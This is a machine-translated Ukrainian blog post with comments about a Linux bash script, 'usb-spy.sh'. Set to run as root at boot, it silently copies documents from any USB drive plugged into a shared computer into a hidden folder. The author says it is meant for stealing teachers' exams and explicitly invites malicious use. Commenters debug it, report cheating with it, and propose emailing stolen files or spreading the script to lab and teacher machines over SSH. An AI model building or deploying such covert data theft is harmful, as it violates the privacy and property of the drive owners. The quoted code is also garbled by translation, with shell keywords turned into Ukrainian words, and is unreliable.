Я завжди був неспокійним студентом, завжди хотів скористатися такими можливостями, як ... наприклад, скопіювати семестрові іспити з USB-накопичувача вчителя чи щось подібне. Коли я навчався в середній школі (спеціальність "Комп'ютер"), я хотів запрограмувати "щось", яке могло б зробити наступне:
- Виявити, коли пристрій USB підключено до комп’ютера в класі
- Скопіюйте весь вміст із цього пристрою на свій комп’ютер
Це дозволило б мені скласти іспит набагато раніше, для вчителя було б потрібно лише підключити свою USB-пам’ять (pendrive) до комп’ютера і все.
На жаль, у моєму інституті комп’ютери мали Windows і… Я ніколи і ніколи не вчився програмувати для цієї ОС.
Однак зараз я використовую Linux (очевидно, ні? LOL!), І знаючи, що за ці роки я зміг набути, тепер ТАК! Я вже можу досягти цього за допомогою Linux 😀
Тобто я запрограмував простий скрипт, який робить наступне:
1. Створіть папку /home/.USBDRIVES/
2. Кожні 5 секунд перевіряється, чи є до комп'ютера підключений USB-пристрій (або CD / DVD).
3. У разі підключення одного, він створить папку всередині /home/.USBDRIVES/ з назвою USB (наприклад: пам'ять-2gb), а також скопіює всі файли .doc, .pdf тощо (ось список) до цієї щойно створеної папки.
4. Якщо USB не підключено, він просто зачекає 5 секунд, щоб розпочати перевірку, яку я пояснив вище again
Ось сценарій і файл, що містить формати для копіювання:
Щоб сценарій міг працювати без проблем, найкраще, щоб він запускався з адміністративними привілеями (root), оскільки очевидно, що його потрібно запускати разом із комп’ютером, таким чином ми переконуємось, що при перезавантаженні комп’ютера або вимкнено, коли я знову запущу сценарій, він буде там працювати, готовий витягти все, що ми хочемо, з будь-якого USB 😉
Давайте відкриємо термінал ... раз відкритий ...
1. Припустимо, у нас є обидва файли / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), ми повинні надати йому привілеї виконання:
sudo chmod +x /opt/usb-spy.sh
2. Відкриваємо файл /etc/rc.local :
sudo nano /etc/rc.local
3. У ньому ми пишемо над заключним рядком (вихід 0) наступний:
/opt/usb-spy.sh &
4. Тепер ми натискаємо [Ctrl] + [X], щоб зберегти та вийти з файлу, ми натискаємо [S] або [Y] (залежно від мови системи), а потім [Enter]. Цього буде достатньо, щоб внесені нами зміни були збережені.
І вуаля, цього буде достатньо, щоб сценарій запускався як root, коли ми вмикаємо комп'ютер.
Важливо перевірити, чи файл usb-spy.files знаходиться в тому ж каталозі, що і usb-spy.sh 😉
Тепер ... Я трохи пояснить внутрішню роботу сценарію, оскільки я знаю, що тут багато любителів Баша
Q: Як сценарій знає, що підключено USB-пристрій? В: У файлі / etc / mtab нашої системи знаходяться пристрої або розділи, які встановлені в нашій системі. Через 23 рядок сценарію відомо, підключений USB чи ні (перетворення кота на mtab та grep media)
З: Так, але Звідки сценарій знає, повертає нам cat чи grep якісь дані чи ні? A: Через a if, then, else loop який починається з рядка 24.
Q: Як змусити копіювати лише файли з потрібними розширеннями? (.doc, .pdf тощо)
Відповідь: Використовуючи rsync з різними параметрами, це в рядку 34. Просто пояснивши, за допомогою rsync я копіюю лише ті файли, які відповідають фільтру usb-spy.files, кожен рядок - це фільтр, так би мовити. Я також передаю параметр --prune-empty-dirs
до rsync, щоб він не створював для мене порожніх каталогів.
Пояснити насправді не так багато, сценарій дуже зрозумілий :)
Якщо хтось має якісь сумніви чи запитання, скарги, ідеї чи пропозиції, будь ласка, скажіть їм, і я обіцяю допомогти їм чим можу.
Ну, я думав написати щось на кшталт: «цей сценарій призначений лише для навчальних цілей, не використовуйте його зі шкідливими файлами»... Але ... який біс!, Використовуйте це для чого завгодно, пора студентам мати якусь перевагу перед викладачами, які нас гноблять op
привіт
Обманщик ¬¬
XDDDD
Ні, взагалі ... якщо ви впевнені, що колись думали зробити щось подібне ... ХАХАХА.
Ти врятував мене від поп-вікторини 😀 ... Тепер твій «KZKG ^ Гаара» Ти мій бог ... Хвала тобі!
Привіт, дуже хороший сценарій, але в мегафайлі файл більше не існує, ви можете надіслати його на мою електронну пошту, будь ласка
Linux становить 1%, і ви говорите, що ніколи не вчилися програмувати для Windows, тому навчання проводиться для системи Linux, моє запитання: яка можливість знайти викладача, який використовує Linux, щоб мати можливість проводити навчання?
Цей сценарій або фокус "впроваджується" на комп’ютері, який не обов’язково повинен бути персональним чи власним професором, досить, щоб це був будь-який комп’ютер університету чи коледжу, тоді це можна було б досягти лише за допомогою X чи Y, що професор підключає USB на цьому комп’ютері.
Так, це для Linux, але багато університетів використовують Linux як систему в комп’ютерних лабораторіях, а також завантаження з LiveCD і не обов’язкову інсталяцію Linux на ПК 🙂
Про 1% рекомендую прочитати цю публікацію: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/
Можливість гігантського метеориту впасти в Атлантиці приблизно за 30 хв
Це виглядає цікаво, доведеться спробувати.
Грекіас
Утиліта, яку вона має, не є чудовою річчю, але сценарій як такий цікавий ... адже ви можете навчитися з неї декількох порад, наприклад, як дізнатись підключений USB, розмір розділів тощо 🙂
Оригінальна і дуже добре пояснена стаття KZKG ^ Гаара. Ура!
Дякую
Яка зухвалість !!!, і ви наважуєтесь написати це в блозі ОО, я не знаю, що думати, може, хтось, хто його не любить, добре зламав Гаару?
нахабство? чому?
Хоча мета або мотив сценарію можуть бути не такими серйозними, як решта моїх внесків, я думаю, що сценарій, його рядки та логіка програмування мають багато внести.
Ви можете скористатися кількома речами цього сценарію:
1. Як дізнатись розмір розділу та що це змінна.
2. Як перевірити, чи підключений USB, та витягти його шлях та назву.
3. петлі if-then-else і while.
У будь-якому випадку, я не думаю, що це абсолютно марно чи щось подібне.
Я думаю, ви неправильно інтерпретуєте мій коментар, я маю на увазі на початку вашої статті,
"Я завжди був неспокійним студентом, завжди хотів скористатися такими можливостями, як ... наприклад, скопіювати семестрові іспити з ручки вчителя або щось подібне". Якщо те, що я кажу, турбує вас, сподіваюся, ви мене вибачите, це не був мій намір.
oО який чудовий блог, хороші статті, хороші читачі, користувачі просять вибачення ... це рай, ха-ха, без тролів.
Грекіас ^ - ^
Ми пишаємось тим, чого досягли за цей час, ця спільнота по-справжньому пишається ... чудово бути частиною всього цього 😀
Ні ні, не зовсім, я насправді взагалі не турбувався xD
І так хе-хе це була моя помилка, якщо я неправильно інтерпретував ваш коментар хе-хе, вибачте за це 😉
Нічого, що вибачення приходять від мене зараз, мені доведеться помити обличчя, щоб побачити, чи не прокинусь це ... з того, що я бачу, я все ще не на 100% ХАХАХА.
Привіт друг 🙂
Дуже прекрасна людина xD
Я хотів би, щоб мої комп'ютери в коледжі мали Linux мухахаджаджа.
Гарна стаття!
Але тому, хто хоче наслідувати це в Windows, буде простіше, тому що там, де у вас немає рут-доступу на машині, яку ви хочете використовувати, ви не можете залишити його "назавжди". З Windows це не відбувається 😉
Дуже добре хе-хе.
Ідея хороша, вона має лише слабкість у тому, щоб використовувати права Root
Ну насправді вам не потрібно бути рутом як таким ... якщо ви заявите сценарію, що папка НЕ буде /home/.USBDRIVES, як я це висловив, і в ньому написано, наприклад: /home/usuario/.USBDRIVES ..., а потім виконати сценарію з "користувачем" буде достатньо 😀
Це гарна ідея, але я думаю, ви заощадите, змінюючи rc.local і запускаючи його щохвилини, використовуючи crontab, і таким чином уникнете проблеми запуску його як root і решти, з іншого боку, навіть якщо це мало впливає, ви марно споживаєте пам'ять ПК кожні 5 секунд, щоб перевірити, чи є usb, навіть коли це не так. Ну це моя точка зору
Я маю на увазі, робити перевірку кожну 1 хвилину, так? Я зробив це не так, тому що ... що, якщо USB підключається та відключається менш ніж за 1 хвилину? 😀
Я вважав за краще робити це кожні 5 секунд, щоб переконатися, що справді "захопив" усі USB-накопичувачі 😉
Якщо я вас неправильно зрозумів, будь ласка, виправте мене 🙂
Привітання та ласкаво просимо.
Так, виконуйте перевірку щохвилини через cron, але добре, кожен з них по-різному бачить проблему, не більше ніж перегляд коду, не було б краще перевірити, чи вже існує папка /home/.USBDRIVES, перш ніж її створювати , є пропозицією більше нічого
привіт
Так само, це деталь, яку я помітив, але ... мені було лінь вирішити це LOL!
Так само я міг би розмістити журнал, де відображаються скопійовані файли (окремий журнал для кожного пристрою), можливо, навіть надіслати цей журнал електронною поштою (використовуючи якийсь спосіб надсилання електронного листа за допомогою терміналу з тих, які я розмістив тут на сайті) ... але, як я вже казав тобі, я трохи лінивий ^ - ^ U
Ха-ха-ха-ха чудово.
Ага! Отже, ваше програмне забезпечення можна використовувати для зла. ЛОЛ!!! 🙂
Фокус чудовий, але ... що, якщо ви хочете відключити USB до того, як сценарій закінчить копіювати його вміст? У такому випадку він буде скаржитися, що він використовується, і буде помічено, що щось не так. 🙂
Насправді система не дозволить відключити USB, оскільки "щось" буде ним користуватися 😉
Точно! І саме тоді професор Оскара вважає, що знайшов вірус Linux. ЛОЛ!! 🙂
Ви змусили мене одного разу згадати, що я робив щось подібне (на своєму Uni, якщо у нас був linux / windows), але я створив програму на С, яка генерувала тисячі папок. Я оббив USB для хлопця, який підключив його. Менеджер комп’ютерного центру був вражений! Він думав, що знайшов вірус у linuxx muajajajaja ... аааа .. які часи це були =)
і в чому різниця з вірусом?
Що я віддалено дістався до його USB і запустив програму 😛
ха-ха-ха-ха, так це був хак XD
😀
хе-хе-хе-хе, отже, ви знайшли вірус в Linux, так? … ЛОЛ!!
Це просто не працює для мене xD, якщо я спробую запустити його з терміналу, він повідомляє мені це: ./usb-spy.sh: рядок 31: [: -lt: очікується унарний оператор
З цим рядком щось не так: if [$ USBSIZE -lt 15664800]; тоді
Але я не знаю, що це, оскільки він також не створює каталог .USB.
Якщо це вдається вирішити, я можу знайти корисний сценарій.
Спробуйте замінити df на / bin / df і не забудьте запустити його як root.
Гаразд, тепер, якщо він створює папку .USB всередині домашнього каталогу, але він постійно повідомляє мені через термінал, що: "./usb-spy.sh: рядок 31: [: -lt: унарний оператор очікується", і він не копіює нічого, у цьому рядку має бути якийсь конфлікт, я ціную допомогу, якщо хтось це бачить.
Велике спасибі.
Чи можете ви дати нам вміст вашого файлу / etc / mtab, коли підключений USB?
Звичайно, тут йдеться:
/ dev / sda12 / ext4 rw, помилки = remount-ro 0 0
proc / proc proc rw, noexec, nosuid, nodev 0 0
sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
немає / sys / fs / запобіжник / з'єднання fusectl rw 0 0
none / sys / kernel / debugfs debugfs rw 0 0
none / sys / kernel / security securityfs rw 0 0
udev / dev devtmpfs rw, режим = 0755 0 0
devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
tmpfs / запустити tmpfs rw, noexec, nosuid, розмір = 10%, режим = 0755 0 0
немає / запустити / заблокувати tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
none / run / shm tmpfs rw, nosuid, nodev 0 0
binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
/ dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $
Останні рядки - це підключені USB / dev / sdb1
Давайте подивимось, чи отримали ми це. 🙂
Дайте нам результат команди df. І спробуйте додати рядок:
echo $ USBSIZE
Прямо перед тим, якщо це створює проблему, і повідомте нам, що виходить при запуску сценарію. Це повинно виглядати так:
USBSIZE = `/ bin / df | grep $ USBDEV | awk {'надрукувати $ 2'} `
echo $ USBSIZE
якщо [$ USBSIZE -lt 15664800]; тоді
І про всяк випадок також розкажіть нам, який результат має команда df.
Гаразд, по частинах команда df повертає мені це:
Файлова система 1K-блоки, що використовуються Доступне Використання% Встановлено
/ dev / sda12 54082300 45246956 6125892 89% /
udev 2004028 4 2004024 1% / розроб
tmpfs 805768 1180 804588 1% / пробіг
немає 5120 0 5120 0% / запуск / блокування
немає 2014420 92 2014328 1 XNUMX XNUMX% / пробіг / шм
/ dev / sdb1 1023200 322256 700944 32% / media / DOCU 3
Команда, яка повертає мені df: / bin / df
Потім я поклав ехо $ USBSIZE, і результат той самий, він не друкує нічого нового, але помилка раніше, найцікавіше, що це відбувається з USB, який я тестую, якщо я поклав зовнішній жорсткий диск на 500 Гб Так, він повертає розмір диска на екрані, але 500 перевищує 16 із if, тому з жорстким диском він нічого не робить.
Але з USB це не робить нічого, крім показу помилки: ./usb-spy.sh: рядок 34: [: -lt: очікується одинарний оператор
Начебто він не міг показати розмір USB, але за допомогою команди df я отримую його розмір.
Дякуємо за допомогу, подивимось, чи зможемо ми її отримати!
Якщо команда не виглядала добре тут, я залишаю скріншот: http://i48.tinypic.com/j5dvn5.jpg
Я бачу, що у mtab шлях, де він, як видається, встановлений, є «/ media / DOCU403», тоді як у df він з’являється «/ media / DOCU 3». Це змушує grep не знаходити його і не повертає розмір. Спробуйте змінити перші рядки for, щоб вони мали такий вигляд:
для USBD в `cat / etc / mtab | grep media | awk '{print $ 1}' '';
do
USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
USBSIZE = `/ bin / df | grep $ USBD | awk {'надрукувати $ 2'} `
Зміни полягають у зміні назви змінної for на USBD, зміні $ 2 в кінці рядка for на $ 1, вставці рядка, що починається з USBDEV відразу після виконання, та зміні USBDEV на USBD у рядку, який починається з USBSIZE… Сподіваюсь, я не возився. 🙂
Ідея полягає в тому, щоб робити for за назвою пристрою, а не за точкою монтування.
Проблема полягала в тому, що в mtab, коли пристрій має пробіли ... він ставить на рядок деякі "дивні" символи, зокрема на місці пробілу.
Нічого, настільки простого вирішення, як зміна способу позначення $ USBDEV, у рядку 28 не змінити і поставити так:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
😀
Дозвольте подивитися, чи можу я вам допомогти ...
Унарний оператор показує його, оскільки він не визначає розмір диска, це трапляється тому, що він не перевіряє його, це відбувається тому, що він викликається
ДОКУМЕНТ 3
і приймає це як два значення, якби це був DOCU, це не відкривало б проблеми
Можливо, це підійде вам
http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html
Вітаю 🙂
Насправді в цьому проблема, тому що я щойно пробував з іншими USB, у яких є ім'я зі словом без пробілів, приклад "класи" і сценарій працює без проблем, тому він розпізнав жорсткий диск, а не спогади, але зараз все є Знаючи, як я ставлю лапки в коді сценарію, чи повинен я ставити їх у "$ USBNAME"?
Велика подяка Атею та Гексборгу за допомогу, це майже зроблено.
Власне Семпроми це дуже просто виправити 😉
Рядок 28 ... змініть його на такий:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
Я щойно провів тестування з цією зміною, і він чудово працює з пристроями, на етикетці / назві яких є пробіл :)
Зараз я внесу зміни до сценарію для завантаження.
Дуже добре. Тож це легко виправити. 🙂
Ох, дуже винахідливо 😀 Я візьму до уваги, якщо мені потрібно ...
KZKG ^ Гаара, з таким розташуванням він працює ідеально, тепер, якщо я скопіюю USB із пробілом у назві, дякую всім за допомогу, я спробую перевірити, чи зможу я запустити його при завантаженні системи і таким чином Перевіряйте кожен цикл, чи підключений USB.
Врешті-решт ми досягли цього xD.
^ - ^ ... приємно хе-хе.
Проблема полягала в тому, що я використовував mtab для розпізнавання USB, я міг просто використати df ... Я використовував mtab, тому що вважав, що було б цікаво пояснити їм цей файл, щоб вони його знали, але я не передбачав, що ця помилка трапиться з пристроями з пробілами, ха-ха.
Будь-які питання чи проблеми, які ви залишаєте сказаними, майже всі тут люблять допомагати xD
привіт
Звичайно. Ми лінуксатори. Ми це завжди отримуємо. XD.
Встановіть демон на ПК вчителя, який генерує запис усіх файлів .doc, .docx, .odt, .pdf та надсилає їх вам поштою. Окрім того, що періодично скануємо ПК у пошуках змін, нових файлів або видалень у згаданому реєстрі, і будь-які новини також надсилатимуть вам модифікований або новий файл поштою.
Подібним чином, я думаю, що більше, ніж розкрадання, виконання цього сценарію (І ЯК КОРЕНЬ !!!!) - це самогубство. Ви робите життя та речі на 700% простішими для всіх, хто бажає вставити файл на свій ПК із root-правами та іншим. Пам'ятайте, що розширення не існують в Linux, і що .doc в Linux може бути таким самим, як текст, відео чи, що ще гірше, сценарій (на цей раз з дуже поганими намірами).
Запускати його як root не зовсім потрібно, просто визначте папку, куди буде десь розміщений вміст, щоб запущений користувач мав дозволи на запис (наприклад, власний дім) і все 🙂
Про небезпечні файли ... ну, ви можете додати кілька рядків, які б chmod -x, до всіх файлів, тим самим втрачаючи властивість виконання.
Я додав ці рядки на початку, щоб видалити папку .USBDRIVES, якщо вона вже була створена:
якщо [-s $ PLACE]
тоді rm -r $ PLACE
fi
Таким чином, це не призведе до помилки «вже існуючого каталогу», тобто якщо вам потрібно бути обережним, щоб у папці .USBDRIVES не було нічого, чого ми не хочемо видаляти, оскільки він видалить його і поставить на його місце інший.
Щоб додати нові формати файлів, просто напишіть їх на usb-spy? наприклад .jpg .mp3 тощо.
Щоб додати нові типи файлів, ви поміщаєте його у файл usb-spy.files
Подивіться на вміст файлу, і ви побачите, як їх додати, це досить просто 😉
Якщо ми знаходимося в одній мережі, і є машина викладача, цікавим було б зробити мережеве картографування, ми можемо мати ssh на машинах і таким чином розповсюджувати код на лабораторних машинах або навіть на машині вчителя ... . Це дає мені дуже багато ідей: $
Привіт, я вітаю вас з дописом і всіма вашими внесками, але у мене є запитання, чи хтось може вирішити цю проблему:
Я тестував ваш сценарій на ПК за допомогою Ubuntu 12.04LTS (з Unity), і він працював бездоганно, але як я побачив, що цей скрипт перестав виконуватися після першого запуску, оскільки папка .USBDRIVES вже була створена, Я вирішив безпосередньо використовувати цей інший сценарій вашого авторства, який був розміщений в іншій частині цього форуму
тут я копіюю сценарій, щоб ви могли знайти себе
#! / бін / баш
#
# - * - КОДУВАННЯ: UTF-8 - * -
# Ця програма є безкоштовним програмним забезпеченням. Ви можете розподілити його та / або
# модифікуйте його на умовах Загальної публічної ліцензії
GNU #, опублікований Фондом вільного програмного забезпечення,
# версія 2 зазначеної ліцензії або (залежно від вашого
# вибір) будь-якої пізнішої версії.
#
# Якщо ви внесли будь-які зміни в цю програму,
# завжди повинен згадувати оригінального автора цього самого.
#
#Copyleft 2012, DesdeLinux.net {Гавана, Куба}.
# Автор: KZKG ^ Гаара
В той час, як = 0
в той час як [$ CONTROL = 0]; робити
cat / etc / mtab | grep media >> / dev / null
якщо [$? -не 0]; тоді
ЛІЧИЛЬНИК = 0
ще
ЛІЧИЛЬНИК = 1
: $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` / »}
cp $ USBDEV / * / home /
fi
sleep 5
зроблений
вихід 0
Тема полягає в наступному в ubuntu12.04 lts єдність, що останній сценарій працює нормально і працює, але коли я зважаю на той самий ПК з причини "x" і намагаюся змусити його працювати в ubuntu 10.10 ні, я можу змусити його працювати
З одного боку, він видає помилку, і він не зчитує накопичувачі пера, які мають складне ім'я, наприклад: DATA-G, і не копіює файли, що мають складне ім'я. Окрім цієї проблеми, у мене проблема, що сценарій виконується лише тоді, коли ПК перезавантажується один раз.
Питання полягало б у тому, як я можу змусити цей сценарій копіювати мої накопичувачі та файли зі складеними іменами
і якщо я використовую crontab або я можу запланувати його роботу в певний час
Інша деталь, в Ubuntu 10.10, оскільки він використовує Gnome, я хотів би додати деякі обмеження, щоб врахувати, коли, надаючи привілеї виконання скрипту, він повинен знаходитися в /etc/init.d, а не в / etc /
(Візьміть до уваги, що ви повинні вставити його туди, що надходить з терміналу разом із sudo nautilus)
З іншого боку, іншим виміром буде те, що після вставки туди, щоб перевірити, чи можна його виконати, це потрібно зробити в іншому терміналі
sudo su (бути коренем)
пароль
ls
cd / etc / init.d
ls -l
і там ми стрибаємо, працює він чи ні
потім в тому самому терміналі або в іншому терміналі в інший час, будучи кореневою системою та перебуваючи в etc / init.d (тобто до етапу cd / etc / init.d), як і в попередньому терміналі, ми продовжуємо, як зазначено нижче, щоб надати йому дозволи виконання
sudo chmod + x script.sh
оновлення -rc.d script.sh за замовчуванням 80
перезавантажувати
Повторюю, це так, що він автоматично виконується в Ubuntu 10.10, якщо це інша версія, як 12.04, ви повинні робити те, що каже KZKG ^ Гаара
І останнє запитання: як я хочу скопіювати вміст (до 3 підпапок pendrive) додому або до прихованої домашньої папки чи ні, припустимо, це було .USBDRIVES
в коді я б не сказав
cp -r /media/*/*/*/home/.USBDRIVES/*
Коротше кажучи, щоб отримати те, що я хочу, як повинен залишатися сценарій?
тому що я вже намагався змінити рядок, який вони змінили, на usb-spy sh, але на той інший, який записує безпосередньо вдома і видає мені помилку в зміненому рядку.? З повагою. Дякую
Я не можу завантажити другий сценарій
Дуже добре. 😉
І якщо я не виконаю вкладені вами дії, що станеться? Чи не він працює, або просто працює, але без кореня? Якщо комп’ютери мають систему, яка, скажімо, відновлює всю внутрішню конфігурацію комп’ютера під час вимкнення, чи спрацює вона? Дякую.
Якщо у системі є щось, що за замовчуванням є папкою / home /, тоді вам слід змінити сценарій, де він говорить / home / змінити його на / opt / або іншу папку, на яку це не впливає.
Я думаю, що для вдосконалення сценарію та уникнення вторгнення в систему pendrive оптимальним буде встановлення пріоритетів щодо типу та розміру файлу. Наприклад, залиште остаточно великі файли розміром 100 мегабайт або більше. Або спершу скопіюйте файли doc, docx, txt, pdf, xml, ... тощо тощо тощо і залиште файли avi, mp4, mkv на останнє ...
Привіт, ідея хороша. Я хотів задати два запитання:
- Чи можна це зробити навпаки? створити скрипт для мандрівника, який підключається до будь-якої машини та витягує файли.
- працює для ОС Windows?
Привіт
Я не впевнений, як це можна було зробити, щоб при підключенні pendrive той самий pendrive виконував сценарій, який він має всередині.
І ні, цей сценарій не працює для Windows 🙂
Добре, дякую, що відповіли мені, я досліджу, як це зробити
Який хороший сценарій. Я аналізував це, і це здається мені дивовижним, сподіваюся, одного разу я міг би також зробити такі практичні сценарії.
Чудовий внесок, хоча утиліта, яку я дам їй, не зовсім така, для якої ви її підняли, якщо я використовую її для резервного копіювання файлів групи користувачів, неправомірних дій, які я маю ... хе-хе-хе ....
при спробі запустити це дає мені такий рядок помилки 31: [: занадто багато аргументів
видаліть цей рядок, щоб побачити, чи він працював. і виявляється, що саме лінія обмежує розмір пристроїв.
при видаленні копіює те, що є в моїх змонтованих розділах 🙁
Привіт, я новачок, і я знаю, що горщик старий, але мені він дуже сподобався, ваш сценарій дуже навчальний
Дякуємо, що поділилися ним та детально пояснили ...
Вітаю
Друже, ти врятував мене, досить було відволікти вчителя і ввести usb до мого ноутбука, а потім ха-ха-хаай склав іспит та нотатки від усіх-ха-ха
Не могли б ви передати мені сценарій, посилання недоступне
Ви можете передати мені сценарій, посилання якого недоступне
kzkggaara, ти не міг би повторно завантажити файли? посилання вниз: /, велике спасибі
Чи можете ви завантажити посилання, будь ласка?
чує! дядьку! ви впали похвали, ви могли б підняти їх знову!
ГАРАЗД! : v
ну, я роблю це ще раз, бо не знаю, чи завантажено те, що я хотів сказати….
добре, що у вас є посилання вниз, ви можете завантажити їх!
Посилання недоступні !!!
Повторно надішліть посилання, будь ласка @usemoslinux Я розслідую цю тему, дякую!
Сценарій можна завантажити звідси. Я думаю, це те саме
https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk
Ну гаразд….
З моєї скромної точки зору я вважаю, що це чудова стаття, і якщо є люди, які кажуть, що ви шахрай, то я думаю, що це відповідає меті, для якої ви використовуєте програму.
Мені особисто більше сподобалось знання мови програмування для Linux, оскільки я працював лише в Java, дякую, товаришу, ти викликав у мене інтерес дізнатись більше про мову для Linux.
Я дякую вам.
Привіт друзі, тому що я знайшов інший спосіб використовувати цей сценарій - це зробити резервну копію, я трохи поговорю з вами. У мене є два пристрої, камера та hdd, я хочу, щоб замість записування файлів локальні файли зберігали їх на зовнішньому hdd від камери до hdd, але це видає мені помилку, яка говорить "занадто багато аргументів", не могли б ви мені допомогти
Він працює лише з пристроями з операційними системами Linux?
Хтось підніміть, будь ласка!
Привіт, у мене немає Linux, і в моїй школі вони використовують Windows, я використовував програму захоплення usb і копіюю лише 5 файлів з пам'яті вчителя, я підозрюю, що usb має захист, тому що те ж саме сталося двічі, буде інший спосіб щоб відняти повну інформацію з цього usb?
Ідіть, якщо ви кажете, що код буде простим, тому що здається дуже цікавим побачити, як працюють методи, щоб перевірити, підключений USB або розмір розділу. Шкода, що вони видалили скрипт mega.nz, чи можете ви завантажити його ще раз?
Привітання та чудова робота, проста, але функціональна навіть для автоматизації копій з USB !!!
Добре!
Я щойно увійшов у ваш допис у блозі, і мені справді цікаво. Що трапляється, коли ви надаєте файл .zip, який перенаправляє вас на мегафайл, це означає, що файл більше не доступний.
Мені було цікаво, чи можете ви надіслати мені ті файли, які слід завантажити.
Щиро дякую та вітаю!
З роками технології мають звичку зменшуватися в розмірах. І це сталося в неймовірній мірі з твердотільними накопичувачами (SSD). Тепер ви можете отримати їх такого ж розміру, що і найшвидші флешки.
https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/
Ви можете надіслати мені файл або завантажити його ще раз? Виходить, що не можна завантажити